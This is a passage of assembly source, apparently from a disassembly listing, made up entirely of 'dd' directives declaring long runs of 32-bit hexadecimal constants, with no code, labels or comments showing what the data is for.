		dd 685B42D1h, 0CE3AAEBDh, 83D7ED18h, 0B8008AE4h, 0EF462BABh
		dd 4859B316h, 9469143Ah, 95D01627h, 0ADC91C12h,	206EA94Bh
		dd 87905692h, 96021616h, 0E2936623h, 0F92E2D8Fh, 98206254h
		dd 553F951Ah, 822EDC12h, 0ED38DBF9h, 0B1396BF0h, 1175A440h
		dd 9DABCD77h, 24AB6D5h,	456E9614h, 6D63A82Bh, 1D60819Ah
		dd 3BD9647Fh, 0F5D041BCh, 0C0534DD0h, 0B1AB37CAh, 22E3267Ch
		dd 0D18B1F76h, 4E48C5h,	0D145BB35h, 6087AA7Dh, 0AD68AC19h
		dd 0D63E03D2h, 0FCE29840h, 41D150E7h, 0C84E810Fh, 2A2EC902h
		dd 0B6ED8B1Eh, 0EEB68688h, 3FA41455h, 7E87617Dh, 3DEB5449h
		dd 0E68696F1h, 0E2B0C44h, 0AE9EAEC7h, 9CE1867Ch, 299FCE3Fh
		dd 0C320F516h, 29186D41h, 0B20DAA7Eh, 31F9718Dh, 0E0210EB5h
		dd 707CADB2h, 19504DCBh, 0A2991088h, 0DBBC25CAh, 0B414465h
		dd 8302A2E1h, 0EF861CA5h, 3FD79094h, 753F666Ah,	60165950h
		dd 2AE24DD9h, 508ECAA2h, 5766496Ch, 9EB952A0h, 831647A4h
		dd 115A51A9h, 7F632B68h, 0EF4A50FFh, 14A08297h,	0C6BD61AAh
		dd 0B723258Bh, 6273452Ah, 4C00DA88h, 8910A8BDh,	0D2975218h
		dd 5C80A980h, 7FB4C750h, 630BB02Bh, 0D4B3FC5Fh,	0EAD6DB70h
		dd 0B71A55F7h, 44F5117Ah, 487A0638h, 0DCB2ABF2h, 18F3D445h
		dd 0E5D280DEh, 20A69201h, 0C11620Bh, 8F0AB5E4h,	8702004Dh
		dd 0C2F28E0Fh, 3368C04Eh, 0D594307Ah, 1762EC40h, 89C8985Ch
		dd 80B37655h, 5AB3F1Ah,	0EAAB8804h, 4CB1F5BAh, 9B6303B5h
		dd 502AA842h, 0F8FCF3EBh, 64A10A54h, 0DEE38DC6h, 6093044Bh
		dd 1E2F6C6Dh, 47528D07h, 89FCEFBDh, 0DDEC8EA3h,	1CDABAEh
		dd 3A2EFC5Fh, 0FE08A3C0h, 1832B1E1h, 0E946EFDEh, 6C5547B2h
		dd 8DAF5E8Bh, 0D71137F1h, 71A8C084h, 0CA0C98h, 5FE18BE6h
		dd 34EFB1FCh, 0ACC1DC9Bh, 0E4231D20h, 30492AEFh, 0BC322D96h
		dd 24CCFDEFh, 1D8B2ADAh, 0E561E28Fh, 0FFC5E3ABh, 295FC974h
		dd 0D7E75079h, 0D53013B3h, 205FA8BCh, 0DFE11167h, 0BEED7C8Eh
		dd 199006C1h, 11BA13C0h, 0CC522989h, 63654294h,	0E1AB104h
		dd 77AF2D15h, 44E2BF64h, 0DE8E7A2Eh, 7F820FE0h,	6E9FCA31h
		dd 0FCFA8783h, 0A5AE47FAh, 7505DAA0h, 56B6A6B7h, 907CE563h
		dd 3E0E6228h, 9F372B2Ah
		dd 876FD4F5h, 56FD5357h, 0F4852281h, 82AB9AAAh,	3E7BD916h
		dd 0BE45C3CBh, 69F50092h, 0F92538EAh, 0BB8970CBh, 5B90E0EEh
		dd 17CE29F9h, 68CEDEEBh, 65D430DFh, 0A6A81750h,	34B9D5E7h
		dd 27FB3DD6h, 7B768F93h, 0DBA3DFC7h, 7D785FA8h,	4AFD40h
		dd 0B3B4C6BAh, 4149EDECh, 504A0A6Dh, 33ED5ED6h,	63410A25h
		dd 0EB31CEF8h, 5F8FB04Ah, 96B2937h, 0CEB2FB1Ah,	6125A53Ah
		dd 8AC605C0h, 0C1AF9594h, 0E0E7ED95h, 0E910766Ah, 86287EFh
		dd 0B300A374h, 0FB5D5513h, 0D91F8031h, 0A028849Bh, 826C0491h
		dd 0CEB3EB3Bh, 3D6BCD1h, 834389C2h, 7985644Ah, 26A6A551h
		dd 0BF08A7ADh, 5531233Bh, 79A7E699h, 576A4782h,	2AB7FB7Ah
		dd 0F0D9A202h, 98D66F43h, 0D05307C5h, 0EAD422BBh, 0EA185CE8h
		dd 301D3062h, 1B0EC1F6h, 6441062Bh, 0FA239A8h, 4AC14355h
		dd 0D98A96A8h, 0D98B617Dh, 0AB2AA3DAh, 6C8B529Dh, 0B032004Dh
		dd 0D89305A8h, 0D4FDD095h, 0CF9B450Ah, 0DA41A93Eh, 0FCFD6A76h
		dd 502A0FEAh, 0D1DD88D9h, 7F44EE34h, 0E0703405h, 369B3EAAh
		dd 63770595h, 19043689h, 0C10BB50h, 0DB944B54h,	898B3708h
		dd 66D1ABC0h, 9365E701h, 8C26A8F2h, 68C2ACAFh, 5E0CE0F2h
		dd 15723541h, 4662D00Dh, 462D1262h, 1BBD39FCh, 0A8321EC8h
		dd 1633896h, 0AC6EB276h, 4203F50Ch, 8CB9D567h, 0CF28E812h
		dd 0A154B291h, 622A431Dh, 0DCDDB591h, 52BE18B9h, 0BCAD891h
		dd 43EE1F6h, 0CB8786E8h, 0F39A881Fh, 2FC0E050h,	32B27455h
		dd 84368ABh, 641F4912h,	86807E6Dh, 61E61EFDh, 94F37DDCh
		dd 89428671h, 6764680Ah, 0B88E9E75h, 4252E2E1h,	6F554120h
		dd 37CE4BA9h, 690FE95Dh, 0B167C96Ch, 0DEFACB8Bh, 0EAD45BC8h
		dd 0F8FD311Fh, 6B540B3Bh, 0F0B4AFDAh, 73BFC207h, 6C8E2B62h
		dd 0B80F434Bh, 0BF0BC348h, 82126FD1h, 75B6662h,	0E442E2E0h
		dd 4B31EEA2h, 0F2C00173h, 270B3D6Ah, 0D062D046h, 1391EC0Fh
		dd 74162EA1h, 1C5749CEh, 0E81B7EEh, 48964A3Bh, 956749F0h
		dd 6901D419h, 97C5545Ah, 8ADC0016h, 942E6A9h, 2B85077Ah
		dd 0E5BC2118h, 5E2CFA24h, 5AFD19D7h, 811EE5AAh,	0F8131EC5h
		dd 2DB7376Bh, 3968FF46h, 3FB0EF7h, 0BEE7EB59h, 8538D2EEh
		dd 2574DAD4h, 0C0939DD3h, 26A9365Ch, 0DAEC863Dh, 0DFB5732h
		dd 0E4490591h, 9F914A23h, 0EBA98977h, 0C452AE4Fh, 3FB4639Fh
		dd 1C8CAE0Ah, 4431E514h, 4A956015h, 0D5643B3h, 2FC85AD5h
		dd 6A4576C5h, 6ABBC3BCh, 0CC1A100Ah, 9564BC6Ah,	5E4628B3h
		dd 44E69912h, 6C68B315h, 0EAB5249Bh, 4A133C1Eh,	0C09CA1ADh
		dd 1B09E1EAh, 0A805C897h, 0CA14053Eh, 2D449EC8h, 0D60B061Dh
		dd 70B25D00h, 0CBDD7C5Bh, 759EFA36h, 59A0D579h,	0D2AD3650h
		dd 0DE2E9024h, 2A34BE78h, 167DA00Eh, 69A627F1h,	8F220354h
		dd 0A34B6D85h, 0CFCF8B84h, 449A28D1h, 0CACA7754h, 0B2BC1E59h
		dd 27109468h, 0DB1E8E6Eh, 7CA4F80Ah, 43983B98h,	98EE1Ah
		dd 2B70AE91h, 1054757Fh, 8751F740h, 5F7E913Ah, 295D6865h
		dd 5943B31Ah, 0D95E02B5h, 47F89500h, 58B4C051h,	8EF41098h
		dd 69E54620h, 0F18C237Fh, 0C8E3D8D9h, 0D609D610h, 0C7F06C39h
		dd 0CBDF262Bh, 4C81C137h, 6DB43559h, 0AE95A791h, 74117E53h
		dd 0D01AAC4Eh, 6437B178h, 0ABA51B1Ch, 471DA804h, 46DF8254h
		dd 14187D81h, 81824C24h, 0B549988h, 19417AE8h, 0BEEDDA0Dh
		dd 55D73020h, 0A372250Bh, 0AA2D58A8h, 0DEB10E4h, 0C435B6F1h
		dd 2CEA051Ah, 3436A698h, 81BF21D5h, 50CAEAC2h, 5AA5E267h
		dd 593A872Eh, 2E9CE0C1h, 0C5FA9958h, 0ABC01D5Eh, 0D057E900h
		dd 4BFA8784h, 1E545FC4h, 1BBB9C65h, 0A8401039h,	0DDF55A28h
		dd 1A869BCDh, 15978432h, 90A1B16Fh, 7F3FE8F3h, 4B0DE237h
		dd 0EEE8C0D9h, 0F7AAAEA6h, 64288A62h, 15A17B25h, 9C0B7F26h
		dd 64AED5B0h, 6810AC1Eh, 40DD7AD6h, 0F59D703Eh,	45DE454Ah
		dd 0EE661AC0h, 96F45418h, 58643687h, 426DD9CEh,	47540BB2h
		dd 60425404h, 9E2FC070h, 0D2C9F7F4h, 0E19BE32Ch, 8078ECDDh
		dd 9BBF31C9h, 0AA7C2850h, 5640853Dh, 489C6420h,	0B7A271DEh
		dd 5F92C19Ah, 808094Fh,	75845158h, 88C2F54Eh, 101AF70Ah
		dd 8BD65D09h, 0A6B8B2F4h, 51002A0h, 5B84EDA4h, 164E4B98h
		dd 0CBC8C099h, 0B4470356h, 0C6D56FFCh, 14516E9h, 0F06E5273h
		dd 0A283E041h, 0E092F1E8h, 0B1BCF71h, 0B3684550h, 34DAF1DAh
		dd 9BB85F43h, 4BB5AC1Ch, 505B4D41h, 128F40B6h, 0DF024509h
		dd 811C0502h, 877D8424h, 2AC18E29h, 0A7379425h,	860A1D75h
		dd 1C692AF2h, 0A228A781h, 788C1CC2h, 965E0D58h,	6B169CBAh
		dd 0BA46383Ah, 0E9C25756h, 8125D46Ah, 0E21C7D46h, 4FCF0834h
		dd 9C6D4D0Ch, 18AA56AAh, 1EC96671h, 67FAFF93h, 0AAB36AA1h
		dd 0CB0534Eh, 84E38E75h, 88CCBB9Fh, 84F528E3h, 214F66Ah
		dd 8791A5D5h, 27EDFDA6h, 0A788C8E2h, 5171183Bh,	13A1E06Ch
		dd 540316A9h, 14A0171Ch, 0FAF1CAE4h, 561F1ABDh,	9CDFC49h
		dd 7595BE8Dh, 0DE28FCB9h, 61A20ED3h, 664A66A8h,	6724DE03h
		dd 40C538CFh, 23FD07D7h, 6F5AA70h, 4676A139h, 61596447h
		dd 1537E906h, 9FEE925Fh, 8D371810h, 83CECE50h, 2CA741Ah
		dd 8EF50A28h, 2703F830h, 0B0EFDA42h, 45EEDF74h,	0F9A6A810h
		dd 1DB4953h, 7DB17DB5h,	133BD710h, 2A3B4C4Eh, 0B41BCCF8h
		dd 0FB2B650Dh, 2FFFD533h, 0A0CCA2D9h, 8B5CED36h, 2A7BCFF2h
		dd 7315A072h, 0CD13B00Ch, 0FE772B5Ah, 0AA46A34Eh, 51B9CE8Dh
		dd 0A6C0E2Eh, 4C525778h, 116F7598h, 0D322B1E6h,	21DAC268h
		dd 2EF1D2D7h, 1A86434Ah, 7D2583FAh, 0A936B11Ch,	240B2FC2h
		dd 0AD4DB8FEh, 5160A03Ch, 7F0D9757h, 7F8DE351h,	0AC5AD457h
		dd 5117EF93h, 4EF3ADFEh, 0FBAC9DECh, 0A0830BE0h, 368AC8CBh
		dd 308B5D22h, 874C4031h, 3095D4Fh, 0BF1B05D3h, 0BE5D86E3h
		dd 7C6C0B3h, 86D54C03h,	832828Bh, 0C6828FE7h, 1E22238Bh
		dd 0A49932AAh, 0C1DCBA6Ch, 17847FB6h, 0EF83BF47h, 19CA0A4Ch
		dd 810B7487h, 3C74617Ch, 0A45F8930h, 8FD609D8h,	5DFC3D13h
		dd 7FF0D393h, 82FE5D20h, 3A8690C5h, 4E872A11h, 915F9453h
		dd 61B39FD7h, 80D49AD4h, 65F41B48h, 5CC3568Fh, 1EFBA4Ch
		dd 0D989779Ch, 0A5FDAA3h, 5FF8BAFDh, 0B0507E18h, 9FB433AEh
		dd 5038FA46h, 4176E357h, 0EFA5B383h, 0FE630EAEh, 0C738FF35h
		dd 0E36F68D0h, 8BF8DC89h, 0DAF6BE02h, 0A212094h, 0B1962C53h
		dd 0D082EBD5h, 6E5462E9h, 46AA901Ch, 516137AAh,	2FE4BFCAh
		dd 17F2548Ch, 0AE78977Eh, 0C1155632h, 290FDC28h, 0CAE4725Dh
		dd 2E0DF15Bh, 0AA538451h, 0EFA99B57h, 0C7F820ACh, 2A9A8B48h
		dd 0A1A49F3Dh, 61D566E2h, 0F08577EAh, 4DE03122h, 207C5EF8h
		dd 4B94B86Eh, 23D7A50Ch, 955E10BFh, 4AB0295h, 0AA93FBFh
		dd 32D12B32h, 5B5452B4h, 0A4EB8410h, 221A8ABCh,	9D722AA7h
		dd 2D1C72DDh, 9EC57E2Ch, 55060554h, 0FF105150h,	762D0A9Eh
		dd 290417B5h, 833868A2h, 0CF4109E6h, 54700ACBh,	0AA6C0105h
		dd 31D4D811h, 972E7DE3h, 9DA3B7D4h, 0B56591AAh,	782A2031h
		dd 0A57C5625h, 0F5DD588Eh, 0ABD8742Ah, 0FF3B8B86h, 0E237F4CFh
		dd 0FF3E3DFh, 93A8C82Eh, 93300AB9h, 10055443h, 43D097AEh
		dd 93275A46h, 2544409Eh, 0D36533DAh, 698D1A2Fh,	0A7687676h
		dd 89156575h, 0E1D57EFAh, 0A6D55762h, 93B03AD1h, 0DF3928E8h
		dd 0B065D7ACh, 0ED844121h
		dd 0C2798D15h, 0CE1B8A57h, 8FE555A5h, 20E9B53Bh, 0FA245249h
		dd 4750A480h, 7800412Bh, 0A79F6D4Bh, 90A955FCh,	4086C7E2h
		dd 2D2AF655h, 0C4A99296h, 52A6525Eh, 7DEC6960h,	0F00125ECh
		dd 40C69C31h, 80BBD5D2h, 0E7D74928h, 97DB5175h,	41DF2EB1h
		dd 5A208C96h, 3BA35375h, 0F185F6D5h, 50D13EB6h,	0F9C92CEFh
		dd 39DF534Eh, 0D6B79380h, 0CEFC6D1Eh, 0E06F8D0Ah, 0FE1E986Fh
		dd 33BCDC8Ch, 0C1501258h, 0EAC8499h, 582234FFh,	0D2790CD1h
		dd 0A7457470h, 96AB0D81h, 94810D23h, 0D31F834h,	85C62765h
		dd 72B29B84h, 6D24A0FAh, 8D7DE1FBh, 742B98C0h, 9D6F3C16h
		dd 2FEF4628h, 711663Ch,	0CA15DE1Ch, 1988C495h, 135F9AF0h
		dd 0A2862420h, 9157A57h, 0D6749DFBh, 75C5FBD6h,	14641394h
		dd 7FA36A55h, 7B8EC5F4h, 59830EFCh, 0D20E99Bh, 4118E8D4h
		dd 0D4A4218Ch, 505BC061h, 2C66D4D1h, 37E0300Ah,	4118115Fh
		dd 30425988h, 46F17817h, 0A89E0BABh, 45E27B2Dh,	0CD68C79Ch
		dd 4AD372D3h, 0B3F1D5D9h, 0AEB72C45h, 51D8A45Fh, 1C489ABAh
		dd 2AD52A8Dh, 245FD270h, 674204F4h, 5D438BB1h, 0D9002959h
		dd 12E3B606h, 33224EAEh, 7DED47D3h, 0B11BC505h,	8AFC55AEh
		dd 0A8BE4720h, 5DD655CAh, 0E41540EEh, 1C528448h, 88CAFD3Ah
		dd 4DC1E730h, 0A7C2CD2Eh, 7AD536AAh, 9AAA95C4h,	53453853h
		dd 3B6A2268h, 45B8F4CBh, 0B84453D8h, 333F29C2h,	683F35CEh
		dd 0F0216222h, 2537DAC5h, 1EA667B0h, 0C116BACh,	402BAFCBh
		dd 2AA53A52h, 790A6EA2h, 6B29FE3Fh, 0A80BA96Ch,	23ADE8CBh
		dd 1AE362D5h, 0E3801D53h, 5F1C8950h, 6C20A471h,	55369675h
		dd 1A63FC11h, 5A0892E9h, 18E6EE87h, 4476C411h, 6FB3068Ch
		dd 0A66E40BFh, 6DB01026h, 0DC458F35h, 356314D7h, 0B73090Bh
		dd 5DA9C4E3h, 0F8D21571h, 201697A0h, 0EAB5BB94h, 0FE7E7E3h
		dd 554C7807h, 69E6EDA3h, 588A0813h, 639B55A2h, 0CCA33C5h
		dd 3DE03185h, 0A4D40258h, 90990F83h, 8AD223AEh,	6816CB0Bh
		dd 4AB9B87Fh, 145467E2h, 32E21444h, 9C77A80Ah, 0A40EA6Ah
		dd 8A605235h, 0E1E7B7D3h, 0BD6C0E56h, 8B22F0CEh, 0FC738A5Dh
		dd 0B1788FBCh, 225CC256h, 6B245471h, 0EB7D682Bh, 0BF5B0412h
		dd 7415442Eh, 29EF4662h, 0EDAA0C2Eh, 0AEE7D813h, 5B8C94BBh
		dd 0B2B5D7AFh, 0DA15F13Fh, 28DE69E6h, 0FD7F7037h, 0A245DE63h
		dd 0F2FC5B0Dh, 0D7F02028h, 57BDD53Fh, 26EBF717h, 0F024F0CEh
		dd 114C8402h, 0EE5FA2E3h, 88570233h, 60940059h,	0F29FBC19h
		dd 0C8C0BA82h, 60A123FCh, 47D1A353h, 7A63FEC9h,	55E0797h
		dd 90C6A815h, 1B622AC0h, 2EB63173h, 0B0643EA8h,	0C0A26AD8h
		dd 54D6144h, 8522D5DCh,	0CEB992E9h, 8C41A0AAh, 0D0DB560Ah
		dd 0CBA9C79Ch, 0EA73ED39h, 8AF7D4F2h, 5DC1CD16h, 0EA6E7984h
		dd 1006D47Dh, 0F0A29625h, 0A71BAAB2h, 3EE0D0B3h, 0A3D9E9AEh
		dd 3C023460h, 0DD5196Ah, 78D50A98h, 0C8C191B1h,	796A0DD1h
		dd 8AE8F457h, 0AF7CE974h, 65DA2A68h, 0AC8B2114h, 79383D72h
		dd 6139C0A4h, 6983923Ch, 7F17F975h, 4046E107h, 0A9427833h
		dd 0F68DFDA4h, 54CCB125h, 9F18E146h, 0ABB0C5DAh, 93C7527Fh
		dd 4B2AE3E4h, 0D5709165h, 31B10A07h, 515559FDh,	0C438FD46h
		dd 8BDD5232h, 2976C7D2h, 46841561h, 0F8B16A59h,	6241ABB3h
		dd 0F49B671Fh, 675383BBh, 0E3827F53h, 0A2974DE9h, 0FB288AAh
		dd 5A905C24h, 5E36D53h,	98907D81h, 1C64C1FDh, 919A93EFh
		dd 0FEC11175h, 5D131C88h, 0A6FA74C9h, 161E0E1Bh, 0B62B0229h
		dd 2FB321A8h, 0F78A87EBh, 37888095h, 88FF90A1h,	2A84EB98h
		dd 5F8E91CFh, 3F302FCh,	5874B886h, 0D8402607h, 836064CCh
		dd 5744699h, 0FF9A248Ch, 40D45150h, 65F41C7Fh, 0AF776B95h
		dd 0BD43DA59h, 0FB97218Eh, 410CC050h, 57BA1374h, 2C0575B3h
		dd 0F00508A1h, 0BF99F660h, 0D3017485h, 0B0BE0707h, 28E4E3FCh
		dd 0E1FFB836h, 0D1653F01h, 0ECA315DBh, 8C4E98BAh, 73C01B53h
		dd 3D1CFA17h, 605C3B89h, 0CC8FC072h, 66C56A2Ch,	983EAE23h
		dd 11AD565h, 0BC3F07A3h, 8085DC49h, 0A188D04Dh,	3626C70Ah
		dd 5BCC0E0Bh, 0F453AB14h, 0C9445563h, 0ACF3D602h, 0C7713F08h
		dd 6B4C5AA0h, 298B7F8Ch, 0A1991F3Dh, 3D23EC70h,	0D1A9255Ch
		dd 947F1567h, 0F801457Bh, 27DB4D8Bh, 407E9285h,	20D11099h
		dd 30BC127h, 8D5C759Ch,	0C924FDB4h, 34960FA2h, 0F5389543h
		dd 483D4AFBh, 720E1FF8h, 0BF849181h, 0ACB49840h, 87BAEDCAh
		dd 2D8E49EBh, 8FE5C8E4h, 600311FDh, 8AAE092Eh, 0B557E07Dh
		dd 0C5426C98h, 0C494BE10h, 20AA953h, 0AC043968h, 2C8BE556h
		dd 881B604h, 0CB602E17h, 4D2ECDA1h, 0C3B13EEEh,	0A9151BD7h
		dd 30D586BAh, 2B090C4Dh, 2895C007h, 81AB5810h, 0A18CA102h
		dd 0C0586C40h, 0C0DE618Dh, 0F00A8225h, 405150DEh, 5E12AA17h
		dd 5F12E423h, 6214E623h, 5DD2D022h, 30801840h, 0E2242264h
		dd 846235B0h, 0C46C1039h, 0E054999h, 0E22601Bh,	70146017h
		dd 5C6A0E65h, 99A328Ch,	0E30D11B3h, 6D02C46Ch, 1B481804h
		dd 46D46611h, 11B59988h, 5E102663h, 5F108CC4h, 7011D826h
		dd 9C44DA26h, 66C1B709h, 99B46DE2h, 16C01B80h, 4CFF466Fh
		dd 0E48376Ah, 0F402F895h, 3A8A04Ch, 60B20945h, 5F27C4E3h
		dd 8DB28FA3h, 8622AE25h, 617F1A0Bh, 764E0C26h, 989EEBB9h
		dd 76811DFBh, 33E02C76h, 1DD67BF3h, 70BE15EFh, 4FFB77E2h
		dd 0CD1D399Fh, 0A07C1546h, 4CA7D27Bh, 0BE91F5Ch, 0CCFB8A1Bh
		dd 0CC779AF6h, 0C60C65FBh, 11C104A7h, 617F0880h, 1C99F7C7h
		dd 392CD99Fh, 6BB897D4h, 216085FAh, 643AEC80h, 0F5C20F8Dh
		dd 0E8349BD8h, 0D3A4383Eh, 8BF8CFACh, 6872FF7h,	0C1F313ECh
		dd 7B612203h, 0AF47460Ah, 855810BFh, 5B64D3E8h,	0E3F0B421h
		dd 7CD8E0F8h, 0E41CBEC8h, 67FB01F0h, 3E659FA2h,	0AD8BD463h
		dd 0D5F982E1h, 840FA3E3h, 0EB150698h, 2F549F13h, 2A365842h
		dd 19B30543h, 4CB261C5h, 0E13612B1h, 8DD1B18Bh,	0E06E220Fh
		dd 2C82BB68h, 0D180B6BAh, 0C5B18A08h, 805B3DF5h, 27FB6C1Bh
		dd 4D3A7448h, 373144FEh, 0B51915E4h, 966ECB8Bh,	4849C1F0h
		dd 2FD111ACh, 48A3BF8Eh, 0A66D12EAh, 33F9467Bh,	47C282B1h
		dd 21D0F07Dh, 470B301Dh, 63DEBE53h, 0E59BDC23h,	2CF1B030h
		dd 863AF889h, 1128B303h, 2C680A0Fh, 0D48F5F54h,	50D8133Fh
		dd 2C65D144h, 0B512E81Bh, 0E91B4101h, 905FA9F7h, 0B85C69A2h
		dd 0AA4DA65Eh, 28A4FCCFh, 13FD7D25h, 71640FE5h,	1363959Ah
		dd 1240106Ah, 0B46913C3h, 4A841D3Fh, 0D34DAC07h, 1AE74F78h
		dd 0C98603E3h, 4A829803h, 8262444h, 1C15EC44h, 5E8980FBh
		dd 432718C1h, 8B373F8Bh, 8F768FAh, 0C652E9ABh, 0A2D13235h
		dd 0F368903Ch, 1E6B043Fh, 0A555DBC3h, 0B901204h, 605ED16Ch
		dd 6E03D243h, 0CF449925h, 1AF7E00Dh, 176B67B9h,	0D60CA8DCh
		dd 0E690CBA4h, 287D4945h, 64CF17F9h, 0A94103E7h, 1C8369A9h
		dd 59225E50h, 0EF447A2h, 0C7AAF1CCh, 89FD0C82h,	0C68407FBh
		dd 183B6037h, 453FAE8Dh, 648B0F11h, 90010C27h, 0CBEC9AA9h
		dd 0E163EC62h, 0FDA1DDF7h, 91C59499h, 8A077F75h, 4E378CE6h
		dd 0ED9A1206h, 0B14C6058h, 0B1CB3EECh, 0A7DDB02Ch, 0B64B2C76h
		dd 63534EC9h, 0FAAC42C7h, 0CE118679h, 0A1143531h, 74C463CAh
		dd 68B14163h, 93B8BFB0h, 1DA9DAF5h, 0D8381ACBh,	266A6C07h
		dd 0D5268029h, 5FF0B8FFh
		dd 2C761A20h, 0B1A7B20Fh, 649ACE42h, 93121FD9h,	50AEC095h
		dd 3CC5F2E9h, 2002C76h,	31728C7h, 0C5BD4C52h, 3651D70Fh
		dd 547B3502h, 2CC6184Fh, 0A403B2Bh, 28C65326h, 0C2D20DCAh
		dd 3714425Bh, 0E0297ED6h, 11635F3Ch, 24A7D76Eh,	1B354B99h
		dd 0E075234Dh, 0C50709FDh, 6FFAFF3Ah, 0FB37E5B8h, 0C116C69Dh
		dd 3039D758h, 0C2CB4C96h, 1A12AD50h, 588B2359h,	92FDC2EBh
		dd 0C5921331h, 426D72F7h, 609DA6D7h, 0CCA98D2Ch, 0A111789Fh
		dd 58037E2Ch, 6B816372h, 4F68A7DAh, 3E1D0C4h, 2C61D30Dh
		dd 26951AE7h, 62554A12h, 92C2129h, 1B0B44AAh, 73EC5CCBh
		dd 17231828h, 0EB818F8Bh, 10B14F84h, 63CBA0B1h,	562C7A47h
		dd 0BD721430h, 558A6A28h, 66157092h, 520D9963h,	0AF48ED3h
		dd 38B16148h, 45E540E6h, 59C08056h, 4FD6B01Dh, 0A52C058Fh
		dd 12A62574h, 0D3376152h, 0C4722774h, 901E099Bh, 0AB11033h
		dd 0AE746497h, 231CB229h, 0F3A3157h, 0E589178Dh, 5BC59AC7h
		dd 99AE536h, 0AC581859h, 11E57CF9h, 66CDD705h, 6D0B8B2Dh
		dd 3F540BA3h, 0F31A1711h, 2EC5978Ch, 0C0C7656h,	21B25CEh
		dd 0A8DE9700h, 30008486h, 0B35144D6h, 0BF69A7D6h, 0D245D80Eh
		dd 0AD0B9F4Dh, 0F331C6B8h, 0AC603695h, 9785F6FDh, 0E010E808h
		dd 0B62C88ABh, 10B2DA12h, 12B65458h, 14B4235Ah,	488A2445h
		dd 1A08256Ch, 4DC964B1h, 1A589928h, 0C4A235E1h,	469A9905h
		dd 11A7AD2Ch, 846A234Ch, 304C88D3h, 4532226Dh, 111C2698h
		dd 5D2A8094h, 922E9024h, 17230244h, 0FEA49521h,	0CCA3F204h
		dd 0B0D42647h, 82355513h, 308DF44Ah, 3922213Ah,	914B5442h
		dd 2A02F3E2h, 0EF2AB5D1h, 33985444h, 0F5E86721h, 6A8F9F49h
		dd 0FAC0A5D2h, 0EEA17311h, 93FC99AEh, 0B022644Ch, 5C8C117Ch
		dd 0AF905924h, 0E58BDA29h, 0AB6323B2h, 0EC7D1A5Ch, 0B12BEBD2h
		dd 42D87A51h, 0C2C2D5E5h, 0E64EB1B4h, 66A2C2F2h, 0A02F4E1Eh
		dd 3E8CB8BCh, 9642984Eh, 648130A4h, 252569E2h, 56A0BBC5h
		dd 75DE8FDCh, 1BA43D48h, 907E6CA5h, 0C8186249h,	0B2165A62h
		dd 286BDC88h, 0AD418143h, 0B27E624h, 193C5D6Eh,	0A6880AD4h
		dd 69E65929h, 591BD305h, 93C42FFDh, 8612A709h, 9184C3E9h
		dd 4E129E23h, 0A801A789h, 6467569Ch, 0A4361A4Dh, 0A5911E6Ch
		dd 0C59279Dh, 19EA9E59h, 0C2C82659h, 0C623E3DDh, 56938D21h
		dd 5F4B5312h, 8CDF4A43h, 0D6462658h, 3134E45Ah,	2581CA82h
		dd 3AF12A92h, 7094879Ch, 6F34BA4Ah, 44FAF164h, 452E099Ah
		dd 7B4853F5h, 84CDD7B4h, 0B628FD6h, 6C8B8C8Dh, 12D964AAh
		dd 7851E5A1h, 991F22E5h, 9B444D8Dh, 6731B609h, 85D1CE42h
		dd 99CC1AE0h, 7ABF1B90h, 72274CF4h, 9899D7EDh, 2E72133h
		dd 0D8E3E8C5h, 33421548h, 57D9AE76h, 949FCB9Bh,	5A556447h
		dd 74541644h, 46C8FE6Eh, 1716E296h, 92E55445h, 408D4365h
		dd 0BBED919Ah, 96461C44h, 3250964Eh, 4B16C590h,	0B9B1B263h
		dd 0A0254017h, 4A22646Ch, 54C68B07h, 0F677C951h, 92A6A2AFh
		dd 92BAB145h, 0DCE5A245h, 0BB1A0EBh, 29EE0312h,	270515EFh
		dd 3E0BA804h, 84C978D3h, 0BCCF64DDh, 7770E15Eh,	0CB04A0DCh
		dd 0E0440FBAh, 5AF2005Bh, 385E1F40h, 8FCB222Ah,	7E382821h
		dd 0A64860A7h, 2D0CB3ACh, 0E1D8BD1Eh, 0DDB73590h, 0C59CB3B8h
		dd 0EF7CE1BAh, 59D3E9C1h, 2CDA094Fh, 0F03BE8ECh, 0C09C7DDBh
		dd 0BA46FDD9h, 6848D986h, 0BA758521h, 75E4F8BFh, 0A3422630h
		dd 0CE076B3Ch, 0F4600786h, 0B0AAF089h, 2CED3746h, 6E678D58h
		dd 6FA4DF15h, 0D378E741h, 47E99764h, 196D8FD8h,	18FDD474h
		dd 83859E7Fh, 9F963CCEh, 1DCE6660h, 0C723DFC3h,	6CCA83ECh
		dd 8133A117h, 1374A3F6h, 88D748B4h, 88DA133Ah, 2264842Fh
		dd 8ED004CDh, 132241ECh, 44682669h, 41370995h, 246AA265h
		dd 332625B8h, 0EF2DA264h, 0D0499A2Ch, 0AA220AE2h, 0B451846h
		dd 32CF5EA7h, 68840B41h, 91E59849h, 9899903Dh, 385A2132h
		dd 0EDDD1074h, 1B82888h, 54CC4B14h, 89CC2A64h, 28834894h
		dd 5C7DC0C8h, 471C0CD0h, 0E0ED4D11h, 0CA8FEE41h, 0F6523601h
		dd 0CD1E34A0h, 0EA317D54h, 117FC843h, 11FF0E8Eh, 4EC45381h
		dd 3659AB51h, 0D97D0050h, 38BBF9DAh, 0EE4C5075h, 58CAB0B1h
		dd 0CACD383Eh, 0FAC5C7D2h, 695D535h, 6C26E513h,	627FE6A1h
		dd 94281FEh, 0EFB227B3h, 0F2CA52C4h, 6E62E093h,	1F9ACA92h
		dd 2CA76879h, 9349B4ACh, 94129B5Fh, 4FCB15C5h, 359FB780h
		dd 0B88A8520h, 7F561B3Ah, 653C6D8Ah, 0B3094459h, 0CC82592Bh
		dd 457299C4h, 0C8166134h, 3D672195h, 0CAE2E12Ch, 0AE471650h
		dd 0D601929Ch, 7142E00Eh, 0DED82547h, 0C17C1B30h, 0DC814E7h
		dd 94591E43h, 5FD9C1EDh, 26435DFAh, 83FF46A6h, 6268BD4Bh
		dd 7ACB9504h, 0F84997CCh, 8D18F2CAh, 9951A38h, 0C2644FAAh
		dd 0E2E044CAh, 489812Ah, 48B8FAD4h, 16AB2520h, 55A53ECBh
		dd 0FE949D19h, 0C5B51854h, 0BE2C2E0Fh, 84F16AA5h, 31FB5C00h
		dd 8234D1A7h, 89A48449h, 4D2EE1AFh, 2E168B93h, 5C2A855h
		dd 85FFB4A1h, 812213D0h, 0A133B694h, 4C6249E6h,	0F738589Fh
		dd 11D9C8A5h, 97098F6Bh, 475C719Dh, 0C2741B71h,	51746EC5h
		dd 70A898D7h, 0D48D6409h, 0C5C2D248h, 934716B6h, 0AC3EDB71h
		dd 0C5786044h, 2BA54A95h, 96C843B1h, 9584EB2Eh,	4A11F946h
